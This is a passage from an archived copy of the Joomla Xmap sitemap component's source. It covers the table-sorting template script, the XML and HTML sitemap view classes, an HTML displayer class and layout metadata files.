        else {
            desc = ".1.";
            html = ".0.";
            initTable(tabName);
            setSort(tabName, 0, 1);
        }

    }

    function initTable(tabName) {
        var theTab = document.getElementById(tabName);
        for(r=0;r<hdrRows;r++)
            for(c=0;c<theTab.rows[r].cells.length;c++)
                if((r+theTab.rows[r].cells[c].rowSpan)>hdrRows)
                    hdrRows=r+theTab.rows[r].cells[c].rowSpan;
        for(r=0;r<hdrRows; r++){
            colNum = 0;
            for(c=0;c<theTab.rows[r].cells.length;c++, colNum++){
                if(theTab.rows[r].cells[c].colSpan<2){
                    theCell = theTab.rows[r].cells[c];
                    rTitle = theCell.innerHTML.replace(/<[^>]+>|&nbsp;/g,'');
                    if(rTitle>""){
                        theCell.title = "Change sort order for " + rTitle;
                        theCell.onmouseover = function(){setCursor(this, "selected")};
                        theCell.onmouseout = function(){setCursor(this, "default")};
                        var sortParams = 15; // bitmapped: numeric|desc|html|freq
                        if(numeric.indexOf("."+colNum+".")>-1) sortParams -= 1;
                        if(desc.indexOf("."+colNum+".")>-1) sortParams -= 2;
                        if(html.indexOf("."+colNum+".")>-1) sortParams -= 4;
                        if(freq.indexOf("."+colNum+".")>-1) sortParams -= 8;
                        theCell.onclick = new Function("sortTable(this,"+(colNum+r)+","+hdrRows+","+sortParams+")");
                    }
                } else {
                    colNum = colNum+theTab.rows[r].cells[c].colSpan-1;
                }
            }
        }
    }

    function setSort(tabName, colNum, sortDir) {
        var theTab = document.getElementById(tabName);
        theTab.rows[0].sCol = colNum;
        theTab.rows[0].sDir = sortDir;
        if (sortDir)
            theTab.rows[0].cells[colNum].className='sortdown'
        else
            theTab.rows[0].cells[colNum].className='sortup';
    }

    function setCursor(theCell, mode){
        rTitle = theCell.innerHTML.replace(/<[^>]+>|&nbsp;|\W/g,'');
        if(mode=="selected"){
            if(theCell.style.color!=selectedColor)
                defaultColor = theCell.style.color;
            theCell.style.color = selectedColor;
            theCell.style.cursor = "pointer";
            window.status = "Click to sort by '"+rTitle+"'";
        } else {
            theCell.style.color = defaultColor;
            theCell.style.cursor = "";
            window.status = "";
        }
    }

    function sortTable(theCell, colNum, hdrRows, sortParams){
        var typnum = !(sortParams & 1);
        sDir = !(sortParams & 2);
        var typhtml = !(sortParams & 4);
        var typfreq = !(sortParams & 8);
        var tBody = theCell.parentNode;
        while(tBody.nodeName!="TBODY"){
            tBody = tBody.parentNode;
        }
        var tabOrd = new Array();
        if(tBody.rows[0].sCol==colNum) sDir = !tBody.rows[0].sDir;
        if (tBody.rows[0].sCol>=0)
            tBody.rows[0].cells[tBody.rows[0].sCol].className='';
        tBody.rows[0].sCol = colNum;
        tBody.rows[0].sDir = sDir;
        if (sDir)
            tBody.rows[0].cells[colNum].className='sortdown'
        else
            tBody.rows[0].cells[colNum].className='sortup';
        for(i=0,r=hdrRows;r<tBody.rows.length;i++,r++){
            colCont = tBody.rows[r].cells[colNum].innerHTML;
            if(typhtml) colCont = colCont.replace(/<[^>]+>/g,'');
            if(typnum) {
                colCont*=1;
                if(isNaN(colCont)) colCont = 0;
            }
            if(typfreq) {
                switch(colCont.toLowerCase()) {
                    case "always":  { colCont=0; break; }
                    case "hourly":  { colCont=1; break; }
                    case "daily":   { colCont=2; break; }
                    case "weekly":  { colCont=3; break; }
                    case "monthly": { colCont=4; break; }
                    case "yearly":  { colCont=5; break; }
                    case "never":   { colCont=6; break; }
                }
            }
            tabOrd[i] = [r, tBody.rows[r], colCont];
        }
        tabOrd.sort(compRows);
        for(i=0,r=hdrRows;r<tBody.rows.length;i++,r++){
            tBody.insertBefore(tabOrd[i][1],tBody.rows[r]);
        }
        window.status = "";
    }

    function compRows(a, b){
        if(sDir){
            if(a[2]>b[2]) return -1;
            if(a[2]<b[2]) return 1;
        } else {
            if(a[2]>b[2]) return 1;
            if(a[2]<b[2]) return -1;
        }
        return 0;
    }

<?php if ($this->canEdit): ?>

    var divOptions=null;
    function showOptions (cell,options,uid,itemid,e) {
        // var div = document.getElementById('div'+options);
        var div = $('div'+options);
        pos = div.getPosition();
        if ( divOptions != null && div != divOptions ) {
            closeOptions();
        }
        var myCell = $(cell);
        div.style.top = (myCell.getTop()+20)+'px';
        div.style.left = myCell.getLeft()+'px';
        var dimensions = myCell.getSize();
        div.style.width=dimensions.x+'px';
        div.style.display='';
        div.uid=uid;
        div.itemid=itemid;
        div.cell=myCell;
        divOptions=div;

    }
    function closeOptions() {
        divOptions.style.display='none';
        divOptions=null;
    }

    function changeProperty(el,property) {
        new Request.JSON({
            url: '<?php echo JRoute::_('index.php?option=com_xmap&format=json&task=ajax.editElement&action=changeProperty',false); ?>',
            onComplete: checkChangeResult.bind(divOptions),
            method: 'get'
        }).send('<?php echo JSession::getFormToken(); ?>=1&id='+sitemapid+'&uid='+divOptions.uid+'&itemid='+divOptions.itemid+'&property='+property+'&value='+el.innerHTML);
        divOptions.cell.innerHTML=el.innerHTML;
        divOptions.style.display='none';
        return false;
    }

    function toggleExcluded(el,itemid, uid){
        row = $(el).getParent('tr');
        new Request.JSON({
            url: '<?php echo JRoute::_('index.php?option=com_xmap&format=json&task=ajax.editElement&action=toggleElement',false); ?>',
            onComplete: checkToggleExcluded.bind(row),
            method: 'get'
        }).send('<?php echo JSession::getFormToken(); ?>=1&id='+sitemapid+'&uid='+uid+'&itemid='+itemid);
    }

    function checkChangeResult(result,xmlResponse) {
    }

    function checkToggleExcluded(result,xmlResponse) {
        if (result.result == 'OK') {
            if (result.state == 1) {
                this.removeClass('excluded');
            } else {
                this.addClass('excluded');
            }
        }
    }

<?php endif; ?>

    window.addEvent('domready',function(){
        $$('div.imagelist').each(function(div){
            div.slide = new Fx.Slide(div).hide();
        })
        $$('span.images_count').each(function(span){
            span.addEvent('click',function(){
                $(this.parentNode).getElement('div.imagelist').slide.toggle();
            });
        })
    });
    var sitemapid=<?php echo $this->item->id; ?>;

    ]]>
</script>
</head>
<body onLoad="initXsl('table0','sitemap');">
<div id="header">
    <div id="title">
        <h1 id="head1"><?php echo $this->item->title; ?></h1>
        <span class="number_urls"><?php echo JText::_('COM_XMAP_NUMBER_OF_URLS'); ?>: <xsl:value-of select="count(xna:urlset/xna:url)"></xsl:value-of></span>
    </div>
    <div id="instructions">
        <div>
            <?php $sitemapUrl = 'index.php?option=com_xmap&view=xml&id='.$this->item->id; ?>
            <?php if (!$this->user->get('id')): ?>
            <p><?php echo JText::sprintf('COM_XMAP_LOGIN_AS_ADMIN_EDIT_SITEMAP', JRoute::_('index.php?option=com_users&view=login&return='.base64_encode($sitemapUrl))); ?></p>
            <?php else: ?>
            <?php $sitemapUrl = JUri::base(true).'/'.str_replace('&','&amp;',$sitemapUrl); ?>
            <p><?php echo JText::_('COM_XMAP_XML_SITEMAP_HELP'); ?></p>
            <p dir="ltr"><b><?php echo JText::_('COM_XMAP_XML_SITEMAP_URL'); ?></b>: <?php echo $sitemapUrl; ?></p>
            <div id="filter_options">
                <form method="get" action="<?php echo JRoute::_('index.php?option=com_xmap&view=xml'); ?>">
                    <input type="hidden" name="option" value="com_xmap" />
                    <input type="hidden" name="view" value="xml" />
                    <input type="hidden" name="id" value="<?php echo $this->item->id; ?>" />
                    <label><input onClick="this.form.submit();"<?php echo ($showTitle? ' checked="checked"':''); ?> type="checkbox" value="1" name="filter_showtitle" /><?php echo JText::_('COM_XMAP_DISPLAY_TITLE'); ?></label>
                    <label><input onClick="this.form.submit();"<?php echo ($showExcluded? ' checked="checked"':''); ?> type="checkbox" value="1" name="filter_showexcluded" /><?php echo JText::_('COM_XMAP_DISPLAY_EXCLUDED_ITEMS'); ?></label>
                </form>
            </div>
            <?php endif; ?>
        </div>
    </div>
    <div style="width:100%;clear:both;height:1px;"></div>
</div>
<table id="table0" class="data">
    <tr class="header">
        <td><?php echo ($showTitle? JText::_('COM_XMAP_TITLE').' / ' : ''); ?><?php echo JText::_('COM_XMAP_URL'); ?></td>
        <?php if (!$this->isImages): ?>
        <td><?php echo JText::_('COM_XMAP_LASTMOD'); ?></td>
        <td><?php echo JText::_('COM_XMAP_CHANGEFREQ'); ?></td>
        <td><?php echo JText::_('COM_XMAP_PRIORITY'); ?></td>
        <?php endif ?>
    </tr>
    <xsl:for-each select="xna:urlset/xna:url">
        <?php if ($this->canEdit): ?>
        <xsl:variable name="rowclass"><xsl:value-of select="xna:rowclass"/></xsl:variable>
        <xsl:variable name="UID"><xsl:value-of select="xna:uid"/></xsl:variable>
        <xsl:variable name="ItemID"><xsl:value-of select="xna:itemid"/></xsl:variable>
        <?php else: ?>
        <xsl:variable name="rowclass"></xsl:variable>
        <?php endif; ?>
        <tr class="{$rowclass}">
            <td><?php if ($this->canEdit): ?><span class="toggle-excluded" onClick="toggleExcluded(this,'{$ItemID}','{$UID}')"></span><?php endif; ?>
                <xsl:if test="count(image:image/image:loc) &gt; 0">
                    <span class="images_count"><xsl:value-of select="count(image:image/image:loc)"></xsl:value-of> Images</span>
                </xsl:if>
                <xsl:variable name="sitemapURL"><xsl:value-of select="xna:loc"/></xsl:variable>
                <div class="item_title"><xsl:value-of select="xna:title"/></div>
                <a href="{$sitemapURL}" target="_blank" ref="nofollow"><xsl:value-of select="$sitemapURL"></xsl:value-of></a>
                <xsl:if test="count(image:image/image:loc) &gt; 0">
                    <div class="imagelist">
                        <xsl:for-each select="image:image">
                            <xsl:value-of select="image:loc"/> - <xsl:value-of select="image:title"/><br />
                        </xsl:for-each>
                    </div>
                </xsl:if>
            </td>
            <?php if (!$this->isImages): ?>
            <td><xsl:value-of select="xna:lastmod"/></td>
            <?php if ($this->canEdit): ?>
            <td class="editable" onClick="showOptions(this,'changefreq','{$UID}','{$ItemID}',event);" ><xsl:value-of select="xna:changefreq"/></td>
            <td class="editable" onClick="showOptions(this,'priority','{$UID}','{$ItemID}',event);"><xsl:value-of select="xna:priority"/></td>
            <?php else: ?>
            <td><xsl:value-of select="xna:changefreq"/></td>
            <td><xsl:value-of select="xna:priority"/></td>
            <?php endif; ?>
        <?php endif; ?>
        </tr>
    </xsl:for-each>
</table>
<div id="divchangefreq" class="divoptions" style="display:none;">
    <div align="right"><a href="javascript:closeOptions();">x</a></div>
    <table>
        <tr><td><a href="#" onClick="return changeProperty(this,'changefreq');">always</a></td></tr>
        <tr><td><a href="#" onClick="return changeProperty(this,'changefreq');">hourly</a></td></tr>
        <tr><td><a href="#" onClick="return changeProperty(this,'changefreq');">daily</a></td></tr>
        <tr><td><a href="#" onClick="return changeProperty(this,'changefreq');">weekly</a></td></tr>
        <tr><td><a href="#" onClick="return changeProperty(this,'changefreq');">monthly</a></td></tr>
        <tr><td><a href="#" onClick="return changeProperty(this,'changefreq');">yearly</a></td></tr>
        <tr><td><a href="#" onClick="return changeProperty(this,'changefreq');">never</a></td></tr>
    </table>
</div>
<div id="divpriority" class="divoptions" style="display:none;">
    <div align="right"><a href="#" onClick="return closeOptions();">x</a></div>
    <table>
        <tr><td><a href="#" onClick="return changeProperty(this,'priority');">0</a></td></tr>
        <tr><td><a href="#" onClick="return changeProperty(this,'priority');">0.1</a></td></tr>
        <tr><td><a href="#" onClick="return changeProperty(this,'priority');">0.2</a></td></tr>
        <tr><td><a href="#" onClick="return changeProperty(this,'priority');">0.3</a></td></tr>
        <tr><td><a href="#" onClick="return changeProperty(this,'priority');">0.4</a></td></tr>
        <tr><td><a href="#" onClick="return changeProperty(this,'priority');">0.5</a></td></tr>
        <tr><td><a href="#" onClick="return changeProperty(this,'priority');">0.6</a></td></tr>
        <tr><td><a href="#" onClick="return changeProperty(this,'priority');">0.7</a></td></tr>
        <tr><td><a href="#" onClick="return changeProperty(this,'priority');">0.8</a></td></tr>
        <tr><td><a href="#" onClick="return changeProperty(this,'priority');">0.9</a></td></tr>
        <tr><td><a href="#" onClick="return changeProperty(this,'priority');">1</a></td></tr>
    </table>
</div>
</body>
</html>
</xsl:template>
</xsl:stylesheet>com_xmap/views/xml/index.html000060400000000036152453734450012310 0ustar00<!DOCTYPE html><title></title>com_xmap/views/xml/view.html.php000060400000011347152453734450012750 0ustar00<?php

/**
 * @version             $Id$
 * @copyright           Copyright (C) 2005 - 2009 Joomla! Vargas. All rights reserved.
 * @license             GNU General Public License version 2 or later; see LICENSE.txt
 * @author              Guillermo Vargas (guille@vargas.co.cr)
 */
// No direct access
defined( '_JEXEC' ) or die( 'Restricted access' );

jimport('joomla.application.component.view');

# For compatibility with older versions of Joola 2.5
if (!class_exists('JViewLegacy')){
    class JViewLegacy extends JView {

    }
}

/**
 * XML Sitemap View class for the Xmap component
 *
 * @package      Xmap
 * @subpackage   com_xmap
 * @since        2.0
 */
class XmapViewXml extends JViewLegacy
{

    protected $state;
    protected $print;

    protected $_obLevel;

    function display($tpl = null)
    {
        // Initialise variables.
        $app = JFactory::getApplication();
        $this->user = JFactory::getUser();
        $isNewsSitemap = JRequest::getInt('news',0);
        $this->isImages = JRequest::getInt('images',0);

        $model = $this->getModel('Sitemap');
        $this->setModel($model);

        // force to not display errors on XML sitemap
        @ini_set('display_errors', 0);
        # Increase memory and max execution time for XML sitemaps to make it work
        # with very large sites
        @ini_set('memory_limit','512M');
        @ini_set('max_execution_time',300);

        $layout = $this->getLayout();

        $this->item = $this->get('Item');
        $this->state = $this->get('State');
        $this->canEdit = JFactory::getUser()->authorise('core.admin', 'com_xmap');

        // For now, news sitemaps are not editable
        $this->canEdit = $this->canEdit && !$isNewsSitemap;

        if ($layout == 'xsl') {
            return $this->displayXSL($layout);
        }

        // Get model data.
        $this->items = $this->get('Items');
        $this->sitemapItems = $this->get('SitemapItems');
        $this->extensions = $this->get('Extensions');

        // Check for errors.
        if (count($errors = $this->get('Errors'))) {
            JError::raiseWarning(500, implode("\n", $errors));
            return false;
        }

        // Add router helpers.
        $this->item->slug = $this->item->alias ? ($this->item->id . ':' . $this->item->alias) : $this->item->id;

        $this->item->rlink = JRoute::_('index.php?option=com_xmap&view=xml&id=' . $this->item->slug);

        // Create a shortcut to the paramemters.
        $params = &$this->state->params;
        $offset = $this->state->get('page.offset');

        if (!$this->item->params->get('access-view')) {
            if ($this->user->get('guest')) {
                // Redirect to login
                $uri = JFactory::getURI();
                $app->redirect(
                    'index.php?option=com_users&view=login&return=' . base64_encode($uri),
                    JText::_('Xmap_Error_Login_to_view_sitemap')
                );
                return;
            } else {
                JError::raiseWarning(403, JText::_('Xmap_Error_Not_auth'));
                return;
            }
        }

        // Override the layout.
        if ($layout = $params->get('layout')) {
            $this->setLayout($layout);
        }

        // Load the class used to display the sitemap
        $this->loadTemplate('class');
        $this->displayer = new XmapXmlDisplayer($params, $this->item);

        $this->displayer->setJView($this);

        $this->displayer->isNews = $isNewsSitemap;
        $this->displayer->isImages = $this->isImages;
        $this->displayer->canEdit = $this->canEdit;

        $doCompression = ($this->item->params->get('compress_xml') && !ini_get('zlib.output_compression') && ini_get('output_handler') != 'ob_gzhandler');
        $this->endAllBuffering();
        if ($doCompression) {
            ob_start();
        }

        parent::display($tpl);

        $model = $this->getModel();
        $model->hit($this->displayer->getCount());

        if ($doCompression) {
            $data = ob_get_contents();
            JResponse::setBody($data);
            @ob_end_clean();
            echo JResponse::toString(true);
        }
        $this->recreateBuffering();
        exit;
    }

    function displayXSL()
    {
        $this->setLayout('default');

        $this->endAllBuffering();
        parent::display('xsl');
        $this->recreateBuffering();
        exit;
    }

    private function endAllBuffering()
    {
        $this->_obLevel = ob_get_level();
        $level = FALSE;
        while (ob_get_level() > 0 && $level !== ob_get_level()) {
            @ob_end_clean();
            $level = ob_get_level();
        }
    }
    private function recreateBuffering()
    {
        while($this->_obLevel--) {
            ob_start();
        }
    }

}
com_xmap/views/html/metadata.xml000060400000000312152453734450012756 0ustar00<?xml version="1.0" encoding="utf-8"?>
<metadata>
    <view title="Sitemap">
        <message>
            <![CDATA[COM_XMAP_SITEMAP_HTML_VIEW_DEFAULT_DESC]]>
        </message>
    </view>
</metadata>
com_xmap/views/html/view.html.php000060400000011747152453734450013120 0ustar00<?php

/**
 * @version          $Id$
 * @copyright        Copyright (C) 2005 - 2009 Joomla! Vargas. All rights reserved.
 * @license          GNU General Public License version 2 or later; see LICENSE.txt
 * @author           Guillermo Vargas (guille@vargas.co.cr)
 */
// No direct access
defined( '_JEXEC' ) or die( 'Restricted access' );

jimport('joomla.application.component.view');

# For compatibility with older versions of Joola 2.5
if (!class_exists('JViewLegacy')){
    class JViewLegacy extends JView {

    }
}

/**
 * HTML Site map View class for the Xmap component
 *
 * @package         Xmap
 * @subpackage      com_xmap
 * @since           2.0
 */
class XmapViewHtml extends JViewLegacy
{

    protected $state;
    protected $print;

    function display($tpl = null)
    {
        // Initialise variables.
        $this->app = JFactory::getApplication();
        $this->user = JFactory::getUser();
        $doc = JFactory::getDocument();

        // Get view related request variables.
        $this->print = JRequest::getBool('print');

        // Get model data.
        $this->state = $this->get('State');
        $this->item = $this->get('Item');
        $this->items = $this->get('Items');

        $this->canEdit = JFactory::getUser()->authorise('core.admin', 'com_xmap');

        // Check for errors.
        if (count($errors = $this->get('Errors'))) {
            JError::raiseWarning(500, implode("\n", $errors));
            return false;
        }

        $this->extensions = $this->get('Extensions');
        // Add router helpers.
        $this->item->slug = $this->item->alias ? ($this->item->id . ':' . $this->item->alias) : $this->item->id;

        $this->item->rlink = JRoute::_('index.php?option=com_xmap&view=html&id=' . $this->item->slug);

        // Create a shortcut to the paramemters.
        $params = &$this->state->params;
        $offset = $this->state->get('page.offset');
        if ($params->get('include_css', 0)){
            $doc->addStyleSheet(JURI::root().'components/com_xmap/assets/css/xmap.css');
        }

        // If a guest user, they may be able to log in to view the full article
        // TODO: Does this satisfy the show not auth setting?
        if (!$this->item->params->get('access-view')) {
            if ($user->get('guest')) {
                // Redirect to login
                $uri = JFactory::getURI();
                $app->redirect(
                    'index.php?option=com_users&view=login&return=' . base64_encode($uri),
                    JText::_('Xmap_Error_Login_to_view_sitemap')
                );
                return;
            } else {
                JError::raiseWarning(403, JText::_('Xmap_Error_Not_auth'));
                return;
            }
        }

        // Override the layout.
        if ($layout = $params->get('layout')) {
            $this->setLayout($layout);
        }

        // Load the class used to display the sitemap
        $this->loadTemplate('class');
        $this->displayer = new XmapHtmlDisplayer($params, $this->item);

        $this->displayer->setJView($this);
        $this->displayer->canEdit = $this->canEdit;

        $this->_prepareDocument();
        parent::display($tpl);

        $model = $this->getModel();
        $model->hit($this->displayer->getCount());
    }

    /**
     * Prepares the document
     */
    protected function _prepareDocument()
    {
        $app = JFactory::getApplication();
        $pathway = $app->getPathway();
        $menus = $app->getMenu();
        $title = null;

        // Because the application sets a default page title, we need to get it from the menu item itself
        if ($menu = $menus->getActive()) {
            if (isset($menu->query['view']) && isset($menu->query['id'])) {
            
                if ($menu->query['view'] == 'html' && $menu->query['id'] == $this->item->id) {
                    $title = $menu->title;
                    if (empty($title)) {
                        $title = $app->getCfg('sitename');
                    } else if ($app->getCfg('sitename_pagetitles', 0) == 1) {
                        $title = JText::sprintf('JPAGETITLE', $app->getCfg('sitename'), $title);
                    } else if ($app->getCfg('sitename_pagetitles', 0) == 2) {
                        $title = JText::sprintf('JPAGETITLE', $title, $app->getCfg('sitename'));
                    }
                    // set meta description and keywords from menu item's params
                    $params = new JRegistry();
                    $params->loadString($menu->params);
                    $this->document->setDescription($params->get('menu-meta_description'));
                    $this->document->setMetadata('keywords', $params->get('menu-meta_keywords'));
                }
            }
        }
        $this->document->setTitle($title);

        if ($app->getCfg('MetaTitle') == '1') {
            $this->document->setMetaData('title', $title);
        }

        if ($this->print) {
            $this->document->setMetaData('robots', 'noindex, nofollow');
        }
    }

}
com_xmap/views/html/index.html000060400000000036152453734450012454 0ustar00<!DOCTYPE html><title></title>com_xmap/views/html/tmpl/default_class.php000060400000014670152453734450014766 0ustar00<?php
/**
* @version       $Id$
* @copyright     Copyright (C) 2005 - 2009 Joomla! Vargas. All rights reserved.
* @license       GNU General Public License version 2 or later; see LICENSE.txt
* @author        Guillermo Vargas (guille@vargas.co.cr)
*/

// No direct access
defined( '_JEXEC' ) or die( 'Restricted access' );

require_once(JPATH_COMPONENT.'/displayer.php');

class XmapHtmlDisplayer extends XmapDisplayer {

    var $level = -1;
    var $_openList = '';
    var $_closeList = '';
    var $_closeItem = '';
    var $_childs;
    var $_width;
    var $live_site = 0;

    function __construct ($config, $sitemap) {
        $this->view = 'html';
        parent::__construct($config, $sitemap);
        $this->_parent_children=array();
        $this->_last_child=array();
        $this->live_site = substr_replace(JURI::root(), "", -1, 1);

        $user = JFactory::getUser();
    }

    function setJView($view)
    {
        parent::setJView($view);

        $columns = $this->sitemap->params->get('columns',0);
        if( $columns > 1 ) { // calculate column widths
            $total = count($view->items);
            $columns = $total < $columns? $total : $columns;
            $this->_width    = (100 / $columns) - 1;
            $this->sitemap->params->set('columns',$columns);
        }
    }

    /**
    * Prints one node of the sitemap
    *
    *
    * @param object $node
    * @return boolean
    */
    function printNode( &$node )
    {

        $out = '';

        if ($this->isExcluded($node->id,$node->uid) && !$this->canEdit) {
            return FALSE;
        }

        // To avoid duplicate children in the same parent
        if ( !empty($this->_parent_children[$this->level][$node->uid]) ) {
            return FALSE;
        }

        //var_dump($this->_parent_children[$this->level]);
        $this->_parent_children[$this->level][$node->uid] = true;

        $out .= $this->_closeItem;
        $out .= $this->_openList;
        $this->_openList = "";

        $out .= '<li>';

        if( !isset($node->browserNav) )
            $node->browserNav = 0;

        if ($node->browserNav != 3) {
            $link = JRoute::_($node->link, true, @$node->secure);
        }

        $node->name = htmlspecialchars($node->name);
        switch( $node->browserNav ) {
            case 1:        // open url in new window
                $ext_image = '';
                if ( $this->sitemap->params->get('exlinks') ) {
                    $ext_image = '&nbsp;<img src="'. $this->live_site .'/components/com_xmap/assets/images/'. $this->sitemap->params->get('exlinks') .'" alt="' . JText::_('COM_XMAP_SHOW_AS_EXTERN_ALT') . '" title="' . JText::_('COM_XMAP_SHOW_AS_EXTERN_ALT') . '" border="0" />';
                }
                $out .= '<a href="'. $link .'" title="'. htmlspecialchars($node->name) .'" target="_blank">'. $node->name . $ext_image .'</a>';
                break;

            case 2:        // open url in javascript popup window
                $ext_image = '';
                if( $this->sitemap->params->get('exlinks') ) {
                    $ext_image = '&nbsp;<img src="'. $this->live_site .'/components/com_xmap/assets/images/'. $this->sitemap->params->get('exlinks') .'" alt="' . JText::_('COM_XMAP_SHOW_AS_EXTERN_ALT') . '" title="' . JText::_('COM_XMAP_SHOW_AS_EXTERN_ALT') . '" border="0" />';
                }
                $out .= '<a href="'. $link .'" title="'. $node->name .'" target="_blank" '. "onClick=\"javascript: window.open('". $link ."', '', 'toolbar=no,location=no,status=no,menubar=no,scrollbars=yes,resizable=yes,width=780,height=550'); return false;\">". $node->name . $ext_image."</a>";
                break;

            case 3:        // no link
                $out .= '<span>'. $node->name .'</span>';
                break;

            default:       // open url in parent window
                $out .= '<a href="'. $link .'" title="'. $node->name .'">'. $node->name .'</a>';
                break;
        }

        $this->_closeItem = "</li>\n";
        $this->_childs[$this->level]++;
        echo $out;

        if ($this->canEdit) {
            if ( $this->isExcluded($node->id,$node->uid) ) {
                $img = '<img src="'.$this->live_site.'/components/com_xmap/assets/images/unpublished.png" alt="v" title="'.JText::_('JUNPUBLISHED').'">';
                $class= 'xmapexclon';
            } else {
                $img = '<img src="'.$this->live_site.'/components/com_xmap/assets/images/tick.png" alt="x" title="'.JText::_('JPUBLISHED').'" />';
                $class= 'xmapexcloff';
            }
            echo ' <a href= "#" class="xmapexcl '.$class.'" rel="{uid:\''.$node->uid.'\',itemid:'.$node->id.'}">'.$img.'</a>';
        }
        $this->count++;

        $this->_last_child[$this->level] = $node->uid;

        return TRUE;
    }

    /**
    * Moves sitemap level up or down
    */
    function changeLevel( $level ) {
        if ( $level > 0 ) {
            # We do not print start ul here to avoid empty list, it's printed at the first child
            $this->level += $level;
            $this->_childs[$this->level]=0;
            $this->_openList = "\n<ul class=\"level_".$this->level."\">\n";
            $this->_closeItem = '';

            // If we are moving up, then lets clean the children of this level
            // because for sure this is a new set of links
            if ( empty ($this->_last_child[$this->level-1]) || empty ($this->_parent_children[$this->level]['parent']) || $this->_parent_children[$this->level]['parent'] != $this->_last_child[$this->level-1] ) {
                $this->_parent_children[$this->level]=array();
                $this->_parent_children[$this->level]['parent'] = @$this->_last_child[$this->level-1];
            }
        } else {
            if ($this->_childs[$this->level]){
                echo $this->_closeItem."</ul>\n";
            }
            $this->_closeItem ='</li>';
            $this->_openList = '';
            $this->level += $level;
        }
    }

    function startMenu(&$menu) {
        if( $this->sitemap->params->get('columns') > 1 )            // use columns
            echo '<div style="float:left;width:'.$this->_width.'%;">';
        if( $this->sitemap->params->get('show_menutitle') )         // show menu titles
            echo '<h2 class="menutitle">'.$menu->name.'</h2>';
    }

    function endMenu(&$menu) {
        $sitemap=&$this->sitemap;
        $this->_closeItem='';
        if( $sitemap->params->get('columns')> 1 ) {
            echo "</div>\n";
        }
    }
}
com_xmap/views/html/tmpl/index.html000060400000000036152453734450013430 0ustar00<!DOCTYPE html><title></title>com_xmap/views/html/tmpl/default.php000060400000007140152453734450013573 0ustar00<?php
/**
 * @version         $Id$
 * @copyright       Copyright (C) 2005 - 2009 Joomla! Vargas. All rights reserved.
 * @license         GNU General Public License version 2 or later; see LICENSE.txt
 * @author          Guillermo Vargas (guille@vargas.co.cr)
 */

// no direct access
defined( '_JEXEC' ) or die( 'Restricted access' );

JHtml::addIncludePath(JPATH_COMPONENT.'/helpers');

// Create shortcut to parameters.
$params = $this->item->params;

if ($this->displayer->canEdit) {
    $live_site = JURI::root();
    JHTML::_('behavior.framework', true);
    $ajaxurl = "{$live_site}index.php?option=com_xmap&format=json&task=ajax.editElement&action=toggleElement&".JSession::getFormToken().'=1';

    $css = '.xmapexcl img{ border:0px; }'."\n";
    $css .= '.xmapexcloff { text-decoration:line-through; }';
    //$css .= "\n.".$this->item->classname .' li {float:left;}';

    $js = "
        window.addEvent('domready',function (){
            $$('.xmapexcl').each(function(el){
                el.onclick = function(){
                    if (this && this.rel) {
                        options = JSON.decode(this.rel);
                        this.onComplete = checkExcludeResult
                        var myAjax = new Request.JSON({
                            url:'{$ajaxurl}',
                            onSuccess: checkExcludeResult.bind(this)
                        }).get({id:{$this->item->id},uid:options.uid,itemid:options.itemid});
                    }
                    return false;
                };

            });
        });
        checkExcludeResult = function (response) {
            //this.set('class','xmapexcl xmapexcloff');
            var imgs = this.getElementsByTagName('img');
            if (response.result == 'OK') {
                var state = response.state;
                if (state==0) {
                    imgs[0].src='{$live_site}/components/com_xmap/assets/images/unpublished.png';
                } else {
                    imgs[0].src='{$live_site}/components/com_xmap/assets/images/tick.png';
                }
            } else {
                alert('The element couldn\\'t be published or upublished!');
            }
        }";

    $doc = JFactory::getDocument();
    $doc->addStyleDeclaration ($css);
    $doc->addScriptDeclaration ($js);
}
?>
<div id="xmap">
<?php if ($params->get('show_page_heading', 1) && $params->get('page_heading') != '') : ?>
    <h1>
        <?php echo $this->escape($params->get('page_heading')); ?>
    </h1>
<?php endif; ?>

<?php if ($params->get('access-edit') || $params->get('show_title') ||  $params->get('show_print_icon') || $params->get('show_email_icon')) : ?>
    <ul>
    <?php if (!$this->print) : ?>
        <?php if ($params->get('show_print_icon')) : ?>
        <li>
            <?php echo JHtml::_('icon.print_popup',  $this->item, $params); ?>
        </li>
        <?php endif; ?>

        <?php if ($params->get('show_email_icon')) : ?>
        <li>
            <?php echo JHtml::_('icon.email',  $this->item, $params); ?>
        </li>
        <?php endif; ?>
    <?php else : ?>
        <li>
            <?php echo JHtml::_('icon.print_screen',  $this->item, $params); ?>
        </li>
    <?php endif; ?>
    </ul>
<?php endif; ?>

<?php if ($params->get('showintro', 1) )  : ?>
    <?php echo $this->item->introtext; ?>
<?php endif; ?>

    <?php echo $this->loadTemplate('items'); ?>

<?php if ($params->get('include_link', 1) )  : ?>
    <div class="muted" style="font-size:10px;width:100%;clear:both;text-align:center;">Powered by <a href="http://www.jooxmap.com/">Xmap</a></div>
<?php endif; ?>

    <span class="article_separator">&nbsp;</span>
</div>com_xmap/views/html/tmpl/default_items.php000060400000000766152453734450015003 0ustar00<?php
/**
 * @version             $Id$
 * @copyright           Copyright (C) 2005 - 2009 Joomla! Vargas. All rights reserved.
 * @license             GNU General Public License version 2 or later; see LICENSE.txt
 * @author              Guillermo Vargas (guille@vargas.co.cr)
 */

// no direct access
defined('_JEXEC') or die;

// Create shortcut to parameters.
$params = $this->state->get('params');

// Use the class defined in default_class.php to print the sitemap
$this->displayer->printSitemap();com_xmap/views/html/tmpl/default.xml000060400000002314152453734450013602 0ustar00<?xml version="1.0" encoding="utf-8"?>
<metadata>
    <layout title="COM_XMAP_SITEMAP_HTML_VIEW_DEFAULT_TITLE">
        <message>
            <![CDATA[COM_XMAP_SITEMAP_HTML_VIEW_DEFAULT_DESC]]>
        </message>
    </layout>
    <fields name="request">
        <fieldset name="request"
            addfieldpath="/administrator/components/com_xmap/models/fields">
            <field
                name="id"
                type="modal_sitemaps"
                default=""
                required="true"
                label="COM_XMAP_SELECT_AN_SITEMAP"
                description="COM_XMAP_SELECT_A_SITEMAP" />
        </fieldset>
    </fields>

    <!-- Add fields to the parameters object for the layout. -->
    <fields name="params">
        <!-- Basic options. -->
        <fieldset name="basic"
            label="COM_XMAP_ATTRIBS_SITEMAP_SETTINGS_LABEL">
            <field
            name="include_css"
            type="list"
            default="0"
            label="COM_XMAP_INCLUDE_CSS_LABEL"
            description="COM_XMAP_INCLUDE_CSS_DESC">
                <option value="1">JYES</option>
                <option value="0">JNO</option>
            </field>
        </fieldset>
    </fields>
</metadata>
com_xmap/metadata.xml000060400000000076152453734450010664 0ustar00<?xml version="1.0" encoding="utf-8"?>
<metadata>
</metadata>
com_xmap/router.php000060400000011213152453734450010406 0ustar00<?php
/**
